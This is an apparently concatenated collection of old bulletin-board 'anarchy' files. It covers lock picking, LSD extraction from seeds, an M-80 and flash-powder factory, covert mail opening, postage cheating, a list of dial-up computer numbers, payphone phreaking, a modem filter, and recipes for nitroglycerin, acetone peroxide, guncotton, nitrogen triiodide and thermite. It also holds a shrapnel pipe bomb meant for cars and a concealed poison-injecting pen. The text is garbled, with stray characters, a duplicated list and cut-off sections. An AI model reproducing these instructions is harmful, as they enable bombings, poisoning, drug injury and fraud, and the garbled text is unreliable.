toothbrush power unit. This vibrating effect will sometimes open pin tumbler
locks; like instantly...
Technology to the rescue!
There is now another method to open pin and wafer locks in a very short
time. Although it resembles the toothbrush pick in appearance, it is actually
and electronic device. I am speaking of the COBRA PICK. Designed and sold
by:
FEDCORP
P.O. Box 569
Scottsdale, AZ 85252
The Cobra uses two 9-volt batteries, teflon bearings (for less noise) and a
cam-roller. It comes with three picks (for different types of locks) and
works both in America and overseas on pin or wafer locks. It will open common
door type locks in 3 to 7 seconds with no damage (in the hands of an
experienced locksmith). It can take a few seconds more, or even half a minute
in the hands of someone with no experience. How much for this toy that will
open most locks in 7 seconds?
$235 plus $4.50 handling.
If none of these cute, safe and sane ideas appeal to you, you can always
fall back on the magic thermal lance...
The thermal lance is a rather crude instrument constructed from 3/8"
hollow magnesium rods. Each "tube" comes in a 10" length, but can be cut down
if desired. Each one is threaded on one end. To use the lance, you screw the
tube together with a mated regulator (like a welding outfit uses) and hook up
an oxygen tank. the oxygen is turned on and the hollwo rod is lit with a
welding igniter. The device produces an incredible amount of heat. It is
used for cutting up concrete blocks or even rocks. An active lance will go
through a foot of steel in a few seconds.
The lance, also known as a burning bar, is available from:
C.O.L. MFG
7748 W Addison
Chicago, IL 60634
∩ 7 Å3 è
====================
= MAKING LSD =
====================
LSD, being of the strangest drugs, is available to people on the black
market, is not too hard to make in your average run-of-the-mill kitchen.
LSD (LySergic acid Diethylamide) is a complex organic mixture that gives
some people (most)
================================
Making LSD: ITEMS NEEDED:
1-About 200-250 grams of MORNIGLOR SEEDS or BAY HAWAIIAN OOD ROSE SEEDS.
The Morning Glory Seeds can be obtained at most plant nurseries.
2-200 cc. of petroleum ether
3-Small piece of window screen or a strainer.
4-A couple of large glasses.
5-One cookie try (old on to never be used again).
6-260 cc. of wood alcohol (call your local drug store).
7-Capsule containers (jel)
================================
Lets get started:
1. Grind up about 170 grams of Morning Glory Seeds.
2. In 145 cc of petroleum ether, soak the seeds for two or three days.
3. With screen, filter the liquid thru it and save the seed mush and allow
it to dry completely.
4. Let the mush soak in 130 cc. of wood alcohol.
5. Filter solution again only. Save the liquid in a large glass jar.
6. Soak the seed mush again in 130 cc. of wood alcohol for two more days.
7. Filter out the mush and keep the liquid. Now, get the liquid that was
saved in step 5.
8. Now, pour both liquids in a cookie tray and let it dry.
9. When all the liquid has dried, a yellowish gummy looking substance will
appear on the cookie sheet.
10. Take the yellow gum and put these in to capsules.
================================
You can get the capsules just by buying something like DEXITREM or some other
pill. Even CONTACT comes in jel capsules. Just empty them out and
put the yellow gum in the capsules. Allow the capsules to sit over night
for best results.
1 Trip:
34 Grams of morning glory
18 Grams of hawaiian wood
================================
How to open your own M-80 Factory
**********
*Supplies*
**********
Chicago Paper Tube. Phone # 1-312-666-1404. You will be getting the paper
tubes from here. Order tubes that are 1/2" in diameter by 1 1/2" long with a
1/16" wall with RED outer wrap. ∩ 7 Å3 è
Paper Products. 1310 5th St., Tempe, AZ. 85281. Order 1/2" diameter paper end
plugs. Write to them for prices. REMEMBER: for every 100 paper tubes you
Phone 1-614-282-9776. Order Potassium Perchlorate. Order 2 pounds for every
250 paper tubes you order.
Alcan Metal Powder Div.,P.O. Box 290, Elizabeth,NJ 07207. Phone 1-201-353-
4600. Order #AL-105 Aluminum Powder. Order 1 pound for every 250 paper tubes
you order.
Buy 1 gallon of Elmers glue from a hardware store or lumber yard.
**********
*Assembly*
**********
1. Put 1 drop of glue on the inside of one end of the tube and insert the
paper end plug.
2. Punch or drill a 1/8" hole in the side of the paper tube.
3. Cut the fuse you purchased into 2" long pieces.
4. Insert the fuse into the hole in the paper tube and glue in place.
5. Scoop the paper tube with the fuse into a container of flash powder. The
paper tube should be about 2/3 full.
6. Put glue on the end plug and insert it into the paper tube filled with
flash powder.
7. The completed M-80 firecracker should dry and the glue will become hard in
30-45 minutes.
**********************
*Flash Powder Formula*
**********************
Sensitive to friction and impact. High Explosive!
Potassium Perchlorate 2 lbs.
Aluminum Powder 1 lb.
There must be a 2 to 1 ratio of Potassium Perchlorate to Aluminum Powder in
order for the flash powder to be good. It must also be mixed well.
Suggested Price for the M-80's
You can make up your own price,but here are some prices. ∩ 7 Å3 è
2 for $1.00 11 for $5.00 24 for $10.00 50 for $20.00 100 for $40.00
============
MAIL SECRETS
============
There is a little secret coding or gimmickry on U.S. mail. All U.S. postage
stamps have an invisible ink coding that flouresces in ultraviolet light.
Partly this is to detere counterfeiting of stamps. Mostly, it is to speed up
sorting. Canceling machines shine an ultraviolet beam on letters and check for
a glow. Calcium silicate (which glows orange-red) and zinc orthosilicate
(which glows yellow-green) are used. They are printed over the entire surface
of stamps or in a geometric pattern.
Personal letters to the U.S. President have a secret numerical code. The
president often gets 10,000 letters a day. Virtually all must be opened, read,
and answered by the White House mail staff. So that letters from friends get
to the president and family unopened, all close friends are given a sequence of
numbers to write on the outside of the envelope. The code changes with each
president. Ronald Reagan's code was described as a number with a special
meaning to Reagan and his wife. Jimmy Carter used an old phone number of
Rosalynn's.
---------
WAX SEALS
---------
Wax seals are not a guarantee against unauthorized opening of a letter.
According to the CIA Flaps and Seals Manual, edited by John M. Harrison
(Boulder, Colo.: Paladin Press, 1975), there is a way to remove and replace
seals.
First the opener takes a plaster-of-paris cast of the seal. This is set
aside to harden. The wax is gently heated with an infrared lamp. When soft,
it is rolled into a ball and set aside. The flap of the envelope is steamed
open, and the letter is taken outand photocopied.
After the envelope's contents and replaced and the flap resealed, the same
wax is used to re-create the seal. It is heated till pliable and pressed back
into shape with the plaster-of-paris mold.
One type of seal is secure, even according to CIA Flaps And Seals Manual:
one made of two or more colors of wax melted together. The colors inevitably
come out different on the second, surreptitious pressing. But a color Polaroid
of the seal must be sent under seperate cover so that the letter's recipient
can compare it wiht the seal on the message letter.
None of the common seals are reliable against unauthorized opening, assuming
that knowledgeable letter-openers may want to open your mail. Scoth tape
across the flap of an envelpoe come of cleany with carbon tetrachloride
(applied with a brush or a hypodermic needle). If you suspect that someone is ∩ 7 Å3 èopening your mail, the manual suggests sending yourself a letter containing a
sheet of carbon or wax paper. The heat and mechanical treatment of the letter
opening will smudge the carbon and melt the wax. Otherwise, you have to
examine letters carefully to detect prior opening. A torn flap, smudging of
the flap glue, flattened ridges in the flap, or concave (from the back) curling
due to steaming are evidence of opening.
A more sophisticated test requires steaming part of the envelope near the
flap for fifteen seconds. Then place the envelope under an ultraviolet lamp.
If there is a difference in flourescence between the steamed and the unsteamed
part of the envelope, then the envelope paper is suitable for the test. If so,
examine the unsteamed part of the flap under the ultraviolet lamp. If it shows
a different flourescence than the other unsteamed parts of the envelope, it
indicates that the flap may have been previously steamed.
The ultraviolet lamp is also useful in detecting invisible writing. An
effective ultraviolet ink need not flouresce brightly, as the silicate stamps
inks do. Any substance that changes the flourescence of paper in ultraviolet
light yet is invisible in ordinary light will work. Prisoners have used human
urine as an invisible ink (not hard to get, ehh?). Salt water, vinegar, milk,
fruit juices, saliva, and water solutions of soap or drugs also work, with
varying degrees of legibility.
---------------------------
HOW TO MAIL WITHOUT A STAMP
---------------------------
Postal chiselers used to mail letters unstamped in the knowledge that they
would be delievered anyway--postage due to the recipient. It took a niggardly
person to mail personal letters this way, but many people did it on bill
payments. So the post office changed its policy. It stopped delivering
letters without stamps. A letter with a stamp--even a one-cent stamp--is
delivered (postage due if need be). A letter with no stamp is returned to the
sender.
Naturally, this had just opened up a new way of cheating. Letters can now be
maileed for free by switching the positions of the delivery address and the
return address. If there is no stamp on the envelope, it will be "returned"--
that is, delivered to the address in the upper left corner--which is where the
sender wanted it to go in the first place. Unlike under the old system, the
letter is not postage-due. At most the recipient gets a stamped purple
reminder that "the post office does not deliver mail without postage."
At least one large company seems to have adapted this principle to its
billing. Citibank bases its MasterCard operations in Sioux Falls, South
Dakota. The bill payment envelopes have the Citibank Sioux Falls address in
both the delivery address and the return address positions. (Most bill payment
envelopes have three lines for the customer to write in his return address.)
Therefore, regardless of whether the customer puts a stamp on the envelope, it
is delivered to Citibank. (The return-address gimmick works even when the
return address is in a different state from the mailing point.)
Who is cheating whom? If the customer puts the correct postage on the
envelope, it is delivered to Sioux Falls at customer expense. No one is ∩ 7 Å3 èslighted. If, on the other hand, the customer intentionally omits the stamp,
the payment is delivered at the post office expense. Then the customer has
cheated the post office. The post office also loses out if the customer
honestly forgets to put a stamp on the envelope. But the blame ought to be
shared with the peculiar design of Citibank's envelope.
Citibank's motive is plain: If payment envelopes are returned to forgetful
customers, it delays payment.
**** MAINFRAMES & MISC. ****
THE FOLLOWING IS A LIST OF NUMBERS I HAVE COMPILED THROUGH A PERIOD OF
TIME. NOTE THAT SOME OF THE NUMBERS LISTED ARE NOT OF MAINFRAME NATURE BUT
RATHER A SMALLER TYPE SYSTEM.
312-972-7603 ARROGON NET LAB
800-228-1111 AMERICAN EXPRESS
215-564-6572 ATLANTIC CITY CASINO
800-225-8456 AUTONET
800-327-676
313-234-5621 FTS
213-798-2000 FTS
202-347-3222 F.A.A.
817-332-8491 FORTWORTH SCHOOL
817-625-6401 GIS
617-732-1251 HARVARD
617-732-1802 "
415-857-8193 HP3000
303-232-8555 HP3000
313-644-3840 HIGH SCHOOL
714-962-3365 H.A.T.S.
215-563-9213 HP3000
512-385-4170 HP3000
301-881-6156 HP3000
301-881-6157 HP3000
301-881-6158 HP3000SION
609-734-3131 RCA/CMS
414-476-8010 RSTS/E
414-542-4494 "
414-543-0789 "
303-447-2540 "
817-877-0548 "
313-964-2064 SMITH & HENCHMAN
315-423-1313 SYRACUSE DECS
404-885-3460 SEARS CREDIT CHECK
212-369-5114 SPENCE SCHOOL
713-795-1200 SHELL VULCAN
313-964-2000 SEMAT COMPUTER
412-794-7601 SLIPPERY ROCK OIL
800-424-9494 TELEMAIL
714-776-4511 TRW ∩ 7 Å3 è
THE FOLLOWING IS A LIST OF NUMBERS I HAVE COMPILED THROUGH A PERIOD OF
TIME. NOTE THAT SOME OF THE NUMBERS LISTED ARE NOT OF MAINFRAME NATURE BUT
RATHER A SMALLER TYPE SYSTEM.
312-972-7603 ARROGON NET LAB
800-228-1111 AMERICAN EXPRESS
215-564-6572 ATLANTIC CITY CASINO
800-225-8456 AUTONET
800-327-676
313-234-5621 FTS
213-798-2000 FTS
202-347-3222 F.A.A.
817-332-8491 FORTWORTH SCHOOL
817-625-6401 GIS
617-732-1251 HARVARD
617-732-1802 "
415-857-8193 HP3000
303-232-8555 HP3000
313-644-3840 HIGH SCHOOL
714-962-3365 H.A.T.S.
215-563-9213 HP3000
512-385-4170 HP3000
301-881-6156 HP3000
301-881-6157 HP3000
301-881-6158 HP3000SION
609-734-3131 RCA/CMS
414-476-8010 RSTS/E
414-542-4494 "
414-543-0789 "
303-447-2540 "
817-877-0548 "
313-964-2064 SMITH & HENCHMAN
315-423-1313 SYRACUSE DECS
404-885-3460 SEARS CREDIT CHECK
212-369-5114 SPENCE SCHOOL
713-795-1200 SHELL VULCAN
313-964-2000 SEMAT COMPUTER
412-794-7601 SLIPPERY ROCK OIL
800-424-9494 TELEMAIL
714-776-4511 TRW
How to Make Nitroglycerin
CH2ONO2
!
3/2 N2 + 3 CO2
CHONO2 ---------->
+
! Ignition
5/2 H2O + 1/4 O2
CH2ONO2 ∩ 7 Å3 è
(How Nitro explodes--note that the byproducts are nothing but nitrogen, carbon
dioxide, water and oxygen)
Nitroglycerin [heretofore Nitro] is a very high-explosive. I am not sure
who invented it but he porbably didn't-- the first preson to make it blew
himself up and his friend got the info off his notes. Well anyway, the next
best thing to nitro is TNT which is ten times harder to make but also ten
times safer to make. If you can't use common sense then don't even try to make
this stuff-- a few drops can be lethal under certain circumstances.
To make Nitro:
--------------
Mix 100 parts fuming nitric acid(for best results it should have a
specific gravity of 50 degrees Baume') with 200 parts sulphuric acid. This is
going to be hot at first--it won't splatter if you pour the nitric into the
sulphuric but don't try it the other way around. The acid solutions together
can dissolve flesh in a matter of seconds so take the proper measures for
God's sake!!! When cool, add 38 parts glycerine as slowly as possible. Let it
trickle down the sides of the container into the acids or it won't mix
thourily and the reaction could go fast--which causes heat to ignite the
stuff. Stir with a **GLASS** rod for about 15 seconds or so then **CAREFULLY**
pour it into 20 times it's **VOLUME** of water. It will visibly precipate
immediatly. There will be twice as much Nitro as you used glycerin and it is
easy to seperate. Mix it with baking soda as soon as you have seperated it--
NOTES: Parts are by weight and the Baume' scale of specific gravity can be
found in most chem. books. You can get fuming nitric and sulfuric acid where
ever goo chemical or fertilizers are sold. It is positivly *STUPID* to make
more than 200 grams of Nitro at a time. When mixing the stuff wear goggles,
gloves, etc. When I first made the stuff I had the honor of having it go off
by itself (I added too much glycerin at a time). I was across the room at the
time, but I felt the impact-- so did the table it was on as well as the window
it was next to--they were both smashed by only 25 grams in an open bowl. Oh
yes, glycerine you can get at any pharmacy and you need an adults sigature for
the acids. Any bump can make Nitro go off if you don't add the bicarbonate of
(baking) soda-but even with that, if it gets old I wouldn't play catch with
it.
Once you have made the Nitro and saturated it with bicarb. you can make a
really powerful explosive that won't go off by itself by simply mixing it with
as much cotton as you can add and then saturating it that with molten
parifine--just enough to make it sealed and hard. Typically use the same
amounts (by weight) of each Nitro, cotton, and parifine. This when wrapped in
newspaper, was once known as "Norbin & Ohlsson's Patent Dynamite," but that
was back in 1896.
∩ 7 Å3 èModem Noise Killer (alpha version)
With this circuit diagram, some basic tools including a soldering iron, and
four or five components from Radio Shack, you should be able to cut the
noise/garbage that appears on your computer's screen.
I started this project out of frustration at using a US Robotics 2400 baud
modem and getting a fare amount of junk when connecting at that speed. Knowing
that capacitors make good noise filters, I threw this together.
This is very easy to build, however conditions may be different due to modem
type, amount of line noise, old or new switching equipment (Bell's equipment),
and on and on. So it may not work as well for you in every case. If it does
work, or if you've managed to tweek it to your computer/modem setup I' d like
to hear from you.
I'd also appreciate any of you electronic wizzards out there wanting to offer
any improvements. Let's make this work for everyone!
Please read this entire message and see if you understand it before you begin.
OK, what you' ll need from Radio Shack:
1 #279-374 Modular line cord if you don't already have one. You won't need one
if your phone has a modular plug in its base. $4.95
1 #279-420 Modular surface mount jack (4 or 6 conductor) $4.49
1 #271-1720 Potentiometer. This is a 5k audio taper variable resistor. $1.09
1 #272-1055 Capacitor. Any non-polarized 1.0 to 1.5 uf cap should do. Paper,
Mylar, or metal film caps should be used, although #272-996 may work as well.
(272-996 is a non-polarized electrolytic cap) $.79
1 100 ohm resistor - quarter or half watt. $.19
1 #279-357 Y-type or duplex modular connector. Don't buy this until you've read
the section on connecting the Noise Killer below. (A, B,or C) $4.95
First off, open the modular block. You normally just pry them open with a
screwdriver. Inside you'll find up to 6 wires. Very carefully cut out all but
the green and red wires. The ones you'll be removing should be black, yellow,
white, and blue. These wires won't be needed and may be in the way. So cut them
as close to where they enter the plug as possible. The other end of these wires
have a spade lug connector that is screwed into the plastic. Unscrew and remove
that end of the wires as well. Now, you should have two wires left. Green and
red. Solder one end of the capacitor to the green wire. Solder the other end of
the capacitor to the center lug of the potentiometer (there are three lugs on
this critter). Solder one end of the resistor to the red wire. You may want to
shorten the leads of the resistor first. Solder the other end of the resistor
to either one of the remaining outside lugs of the potentiometer. Doesn't
matter which. Now to wrap it up, make a hole in the lid of the mod block to
stick the shaft of the potentiometer through. Don't make this hole dead center
as the other parts may not fit into the body of the mod block if you do. See
how things will fit in order to find where the hole will go. Well, now that ∩ 7 Å3 èyou've got it built you'll need to test it. First twist the shaft on the
potentiometer until it stops. You won't know which way to turn it until later.
It doesn't matter which way now. You also need to determine where to plug the
Noise Killer onto the telephone line. It can be done by one of several ways:
A. If your modem has two modular plugs in back, connect the Noise Killer into
one of them using a line cord. (a line cord is a straight cord that connects a
phone to the wall outlet. Usually silver in color)
B. If your phone is modular, you can unplug the cord from the back of it after
you're on-line and plug the cord into the Noise Killer.
C. You may have to buy a Y-type modular adaptor. Plug the adaptor into a wall
outlet, plug the modem into one side and the Noise Killer into the other. Call
a BBS that has known noise problems. After you've connected and garbage begins
to appear, plug the Noise Killer into the phone line as described above. If you
have turned the shaft on the potentiometer the wrong way you'll find out now.
You may get a lot of garbage or even disconnected. If this happens, turn the
shaft the other way until it stops and try again. If you don't notice much
difference when you plug the Noise Killer in, that may be a good sign. Type in
a few commands and look for garbage characters on the screen. If there still
is, turn the shaft slowly until most of it is gone. If nothing seems to happen
at all, turn the shaft slowly from one side to the other. You should get plenty
of garbage or disconnected at some point. If you don't, reread this message to
make sure you've connected it right.
***END OF ORIGNAL FILE***
ADDITION TO ORIGNAL FILE - 2/29/88 - Mike McCauley - CIS 71505,1173
First, a personal recomendation. _THIS WORKS!!!_ I have been plagued with
noise at 2400 for some time. I went round and round with Ma Bell on it, and
after they sent out several "repair persons" who were, to be kind, of limited
help in the matter, I threw in the towel. I saw this file on a board up east
a few days ago, and thought I'd bite. Threw the gismo together in about 10
minutes, took another five to adjust the pot for best results on my worst
conection, and guess what? No more worst connecion! A few pointers:
1) The pot need not be either 5K or audio taper. I used a 10K 15 turn trim pot.
Suggest you use what is handy.
2) I used 2MFD's of capacitance (two 1MFD's in parallel) Two R.S. p/n 272-1055
work fine. Remember that about 90 Volts will appear across red & green at
ring, so the caps should be rated at 100VDC+.
3) I ended up with a final series resistance value (100 ohm + pot) of 2.75K.
I speculate that one could probably use 2MFD and a fixed 2.7K resistor and
do the job 90% of the time. The adjustment of the pot is not very critical.
Changes of +/- 1K made little difference in the performance of the circuit.
Hope it works as well for you as it did for me.
Mike McCauley
∩ 7 Å3 è How to "steal" local calls from most Payphones
Now to make free local calls, you need a finishing nail. We highly
recommend "6D E.G. FINISH C/H, 2 INCH" nails. These are about 3/32 of an
inch in diameter and 2 inches long (of course). You also need a large
size paper clip. By large we mean they are about 2 inches long
(FOLDED). Then you unfold the paper clip. Unfold it by taking each
piece and moving it out 90 degrees. When it is done it should look
somewhat like this:
/----------\
: :
: :
: :
: :
\-----
Now, on to the neat stuff. What you do, instead of unscrewing the
glued-on mouthpiece, is insert the nail into the center hole of the
mouthpiece (where you talk) and push it in with pressure or just hammer
it in by hitting the nail on something. Just DON'T KILL THE MOUTHPIECE!
You could damage it if you insert the nail too far or at some weird
angle. If this happens then the other party won't be able to hear what
you say.
You now have a hole in the mouthpiece in which you can easily insert
the paper clip. So, take out the nail and put in the paper clip. Then
take the other end of the paper clip and shove it under the rubber cord
protector at the bottom of the handset (you know, the blue guy...). This
should end up looking remotely like...like this:
/----------\ Mouthpiece
: : /
Paper clip --> : : /
: /---:---\
: : : :------------>
====================\---))): : To earpiece ->
^ ^ \-------------------->
: :
: :
Cord Blue guy
(The paper clip is shoved under the blue guy to make a good connection
between the inside of the mouthpiece and the metal cord.)
Now, dial the number of a local number you wish to call, sayyyy,
MCI. If everything goes okay, it should ring and not answer with the
"The Call You Have Made Requires a 20 Cent Deposit" recording. After the
other end answers the phone, remove the paper clip. It's all that
simple, see?
There are a couple problems, however. One is, as we mentioned
earlier, the mouthpiece not working after you punch it. If this happens
to you, simply move on to the next payphone. The one you are now on is
lost. Another problem is that the touch tones won't work when the paper
clip is in the mouthpiece. There are two ways around this..
A> Dial the first 6 numbers. This should be done without the paper ∩ 7 Å3 èclip making the connection, i.e., one side should not be connected. Then
connect the paper clip, hold down the last digit, and slowly pull the
paper clip out at the mouthpiece's end.
B> Don't use the paper clip at all. Keep the nail in after you
punch it. Dial the first 6 digits. Before dialing the last digit, touch
the nail head to the plate on the main body of the phone, the money safe
thingy..then press the last number.
The reason that this method is sometimes called clear boxing is
because there is another type of phone which lets you actually make the
call and listen to them say "Hello, hello?" but it cuts off the
mouthpiece so they can't hear you. The Clear Box is used on that to
amplify your voice signals and send it through the earpiece. If you see
how this is even slightly similar to the method we just described up
there, kindly explain it to US!! Cause WE don't GET IT!
Anyways, this DOES work on almost all single slot, Dial Tone First
payphones (Pacific Bell for sure). We do it all the time. This is the
least, WE STRESS *LEAST*, risky form of Phreaking. And remember. There
are other Phreaks like you out there who have read this article and punch
payphones, so look before you punch, and save time.
- HOW TO MAKE A POWERFUL PIPE BOMB -
This pipe bomb is extremely powerful and should be used with extreme
caution. This bomb is very nice and EXTREMELY powerful, though. It packs
quite a punch, especially nestled on someone's engine block.
Ingredients:
1. A PVC pipe. The longer, the more powerful. I recommend about 5
inches.
2. Two ends, preferably brass. These are the things that screw on to
the end of the pipe.
3. Black powder - gun powder.
4. A drill.
5. Cannon Fuse, 6+ inches long.
* 6. Iron bits and pieces.
* denotes optional.
Instructions:
Use the drill to make a hole in the middle of the PVC pipe, a hole as big as
the width of the fuse. Put one end on one end of the pipe, tighten it nicely ∩ 7 Å3 è and then pour as much black powder in there as will fit. Now securely fasten
the other end on the other side and insert the fuse. Place, light, and run!
Options:
Bury the bomb about six inches underground and light. I once did this and it
sent debris 20 feet in every direction.
Place on the engine block of car to destroy it.
Try electric detonation with an electric match.
Put iron bits in the black powder to make it lethal.
Remember:
If this is used correctly it can be as powerful as a hand grenade. Also,
light this in the correct place or else it could make your life miserable.
Poison Pen
Need: plastic retractable ball pt. pen
1cc Tuberculin syringe (about .7cm diam. or 1/4in)
(needle:1cm or 3/8 in. long)
razor blades
ruler
To make:
Cut about 1/4 in. or .7cm off end of syringe tube. Generally make the
tube streamlined. Take insides out of pen. Sheer off tip of pen until you can
push the syringe in with light pressure and have all the needle, but nothing
else, protruding from the tip. Cut a mark in the syringe where pen meets
syringe. Remove syringe. Screw the sides of the pen together. Cut pen in two
at meeting place of two halves. Take the moving parts of the pen ( the
'clicker') out. Cut off all protrusions (parts that look like the fins on a
rocket) Glue all parts together like they were originally. That part will now
be called the clicker. Cut the 'push' flat part off the top of the plunger.
Cut the plunger so it is about 3/8 in. from the top of the tube when inserted
all the way. Whittle the tip of the plunger so it will fit loosely in the
clicker. Plunger end first, GENTLY push the tube into the clip-on end of the
pen as far as it will go, with moderate pressure. Mark the place where pen
meets tube. Remove the tube, measure the distance between the two marks, and
cut that much off the end of the tube. Cut and whittle the plunger again.
Place the clicker in the clip end. Insert the plunger to about .4cc and gently
push into the clip end. You should be able to push the clicker and make the
plunger move all the way down to empty. If not, modify further. Cut a piece of
plastic or paper about 2cm or 7/8in wide, big enough to wrap around the biggest
part of the pen. Tape it so it forms a sheath or tube and paint to match the
pen, like a sheath to cover the gap between the ends when the pen is not armed.
To Arm:
Remove the syringe parts and fill with about .4cc liquid (good poison
of course). Push the plunger end in the clip end as far as it will go. Some
liquid should squirt out, which is okay, as long as there is .1-.2cc left.
Take the other end of the pen and push it over the syringe and into the sheath. ∩ 7 Å3 èYou should place it so the needle is almost extending out of the end, but not
quite.
To use:
One-handed, holding with the clip on part (not touching the clicker),
slide the two ends together. The needle should slide out. Stab, depress
clicker. The syringe should inject its poison.
Chemicals 1
I. Common "weak" explosives.
A. Gunpowder:
75% Potassium Nitrate
15% Charcoal
10% Sulfur
The chemicals should be ground into a fine powder (seperately!) with a
morter & pestle. If gunpowder is ignited in the open, it burns fiercely, but if
in a closed space it builds up pressure from the released gases and can explode
the container. Gunpowder works like this: the potassium nitrate oxidizes the
charcoal and sulfur, which then burn fiercely. Carbon dioxide and sulfur
dioxide are the gases released.
B. Ammonal:
Ammonal is a mixture of ammonium nitrate (a strong oxidizer) with aluminum
powder (the 'fuel' in this case). I am not sure of the % composition for
Ammonal, so you may want to experiment a little using small amounts.
C. Chemically ignited explosives:
1. A mixture of 1 part potassium chlorate to 3 parts table sugar (sucrose)
burns fiercely and brightly (similar to the burning of magnesium) when 1 drop
of concentrated sulfuric acid is placed on it. What occurs is this: when the
acid is added it reacts with the potassium chlorate to form chlorine dioxide,
which explodes on formation, burning the sugar as well.
2. Using various chemicals, I have developed a mixture that works very well
for imitating volcanic eruptions. I have given it the name 'MPG Volcanite'
(tm). Here it is: potassium chlorate +potassium perchlorate + ammonium nitrate
3. So, do you think water puts out fires? In this one, it starts it. Mixture:
ammonium nitrate + ammonium chloride + iodine + zinc dust. When a drop or two
of water is added, the ammonium nitrate forms nitric acid which reacts with the
zinc to produce hydrogen and heat. The heat vaporizes the iodine (giving off
purple smoke) and the ammonium chloride (becomes purple when mixed with iodine
vapor). It also may ignite the hydrogen and begin burning.
Ammonium nitrate: 8 grams
Ammonium choride: 1 gram
Zinc dust: 8 grams
Iodine crystals: 1 gram
4. Potassium permanganate + glycerine when mixed produces a purple-colored ∩ 7 Å3 èflame in 30 secs-1 min. Works best if the potassium permanganate is finely
ground.
5. Calcium carbide + water releases acetylene gas (highly flammable gas used
in blow torches...)
II. Thermite reaction.
The Thermite reaction is used in welding, because it generates molten iron
and temperatures of 3500 C (6000F+). It uses one of the previous reactions that
I talked about to START it!
Starter=potassium chlorate + sugar
Main pt.= iron (III) oxide + aluminum powder (325 mesh or finer)
Put the potassium chlorare + sugar around and on top of the main pt. To
start the reaction, place one drop of concentrated sulfuric acid on top of the
starter mixture. STEP BACK! The ratios are: 3 parts iron(III) oxide to 1 part
aluminum powder to 1 part potassium chlorate to 1 part sugar.
When you first do it, try 3g:1g:1g:1g!
Also, there is an alternative starter for the Thermite reaction. The
alternative is potassium permanganate + glycerine. Amounts: 55g iron(III)
To produce Mercury(II) Fulminate, a very sensitive shock explosive, one
might assume that it could be formed by adding Fulminic acid to mercury. This
is somewhat difficult since Fulminic acid is very unstable and cannot be
purchased. I did some research and figured out a way to make it without
fulminic acid. You add 2 parts nitric acid to 2 parts alcohol to 1 part
mercury. This is theoretical (I have not yet tried it) so please, if you try
this, do it in very* small amounts and tell me the results.
B. Nitrogen Triiodide
Nitrogen Triiodide is a very powerful and very shock sensitive explosive.
Never store it and be carful when you're around it- sound, air movements, and
other tiny things could set it off.
Materials-
2-3g Iodine
15ml conc. ammonia
8 sheets filter paper
50ml beaker
feather mounted on a two meter pole
ear plugs
tape
spatula
stirring rod
Add 2-3g Iodine to 15ml ammonia in the 50ml beaker. Stir, let stand for 5
minutes.
DO THE FOLLOWING WITHIN 5 MINUTES!
Retain the solid, decant the liquid (pour off the liquid but keep the brown
solid...). Scape the brown residue of Nitrogen Triiodide onto a stack of four ∩ 7 Å3 èsheets of filter paper. Divide solid into four parts, putting each on a
seperate sheet of dry filter paper. Tape in position, leave to dry undisturbed
for AT LEAST 30 minutes (preferrably longer). To detonate, touch with feather.
(WEAR EAR PLUGS WHEN DETONATING OR COVER EARS- IT IS VERY LOUD!)
C. Cellulose Nitrate (Guncotton)
Commonly known as Smokeless powder, Nitrocellulose is exactly that- it
does not give off smoke when it burns.
Materials-
70ml concentrated sulfuric acid
30ml concentrated nitric acid
5g absorbent cotton
250ml 1M sodium bicarbonate
250ml beaker
ice bath
tongs
paper towels
Place 250ml beaker in the ice bath, add 70ml sulfuric acid, 30 ml nitric
acid. Divide cotton into .7g pieces. With tongs, immerse each piece in the acid
solution for 1 minute. Next, rinse each piece in 3 successive baths of 500ml
water. Use fresh water for each piece. Then immerse in 250ml 1M sodium
bicarbonate. If it bubbles, rinse in water once more until no bubbling occurs.
Squeeze dry and spread on paper towels to dry overnight.
D. Nitroglycerine
Nitroglycerine is a *VERY* dangerous shock sensitive explosive. It is used
in making dynamite, among other things.
I am not sure as to the proportions and amounts of chemicals to be used, so
I shall use estimates.
Materials-
70ml conc. sulfuric acid
30ml conc. nitric acid
10 ml glycerine
ice bath
150ml beaker
Put the 150ml beaker in the ice bath and make sure that it is very cold.
Slowly add the 70ml sulfuric and 30ml nitric acids to the beaker, trying to
maintain a low temperature. When the temperature starts to level off, add about
10ml glycerine. If it turns brown or looks funny, **RUN LIKE HELL**. When
Nitroglycerine turns brown, that means it's ready to explode... If it stays
clear and all works well, keep the temperature as low as you can and let it sit
for a few hours. You then should have some Nitroglycerine, probably mixed with
nitric and sulfuric acids. When you set it off, you must not be nearby.
Nitroglycerine can fill 10,000 times its original area with expanding gases.
This means that if you have 10ml's of Nitroglycerine in there, it will produce
some 100,000ml's of gases.
To make it into dynamite, the Nitroglycerine must be absorbed into something
like wood pulp or diamaeceous earth (spelled something like that). ∩ 7 Å3
IV. Other stuff
A. Peroxyacetone
Peroxyacetone is extremely flammable and has been reported to be shock
sensitive.
Materials-
4ml Acetone
4ml 30% Hydrogen Peroxide
4 drops conc. hydrochloric acid
150mm test tube
Add 4ml acetone and 4ml hydrogen peroxide to the test tube. Then add 4 drops
concentrated hydrochloric acid. In 10-20 minutes a white solid should begin to
appear. If no change is observed, warm the test tube in a water bath at 40
celsius. Allow the reaction to continue for two hours. Swirl the slurry and
filter it. Leave out on filter paper to dry for at least two hours. To ignite,
light a candle tied to a meter stick and light it (while staying at least a
meter away).
B. Smoke smoke smoke...
The following reaction should produce a fair amount of smoke. Since this
reaction is not all that dangerous you can use larger amounts if necessary for
larger amounts of smoke.
6g zinc powder
1g sulfur powder
Insert a red hot wire into the pile, step back. A lot of smoke should be
This white powder is very poisonous. It is also a bit unstable, so treat it
gently.
Lead Nitrate - Pb(NO )
3 2
This contains poisonous lead and is very water soluble so your body will
absorb it quickly, given the chance. The government has banned leaded paints
and is phasing out leaded gasoline because the stuff slowly accumulates in
your body and can screw up all sorts of important innards. If you are careless
with Lead Nitrate you can do a few lifetimes' worth of damage in one ∩ 7 Å3 èafternoon.
Ammonium Nitrate - NH NO
4 3
Commonly used as fertilizer, this stuff is somewhat dangerous in large
quantities, particularly if it gets very hot. (Entire shiploads of this
material have been known to go up all at once.) When heated gently, it
decomposes into water and nitrous oxide (laughing gas). Farmers sometimes use
it to blow up tree stumps by mixing it with fuel oil and setting the gunk off
with a detonator. We'll have a very different use for it here.
Potassium Nitrate - KNO
3
Also known as saltpeter, this is commercially used as a diuretic for animals.
It also works as an oxidizing agent in various pyrotechnic mixtures. That is,
when heated it provides the oxygen needed to make the rest of the mixture
burn.
Potassium Potassium
Nitrate Nitrite Oxygen
2KNO ---> 2KNO + O
3 2 2
Potassium Chlorate - KClO
3
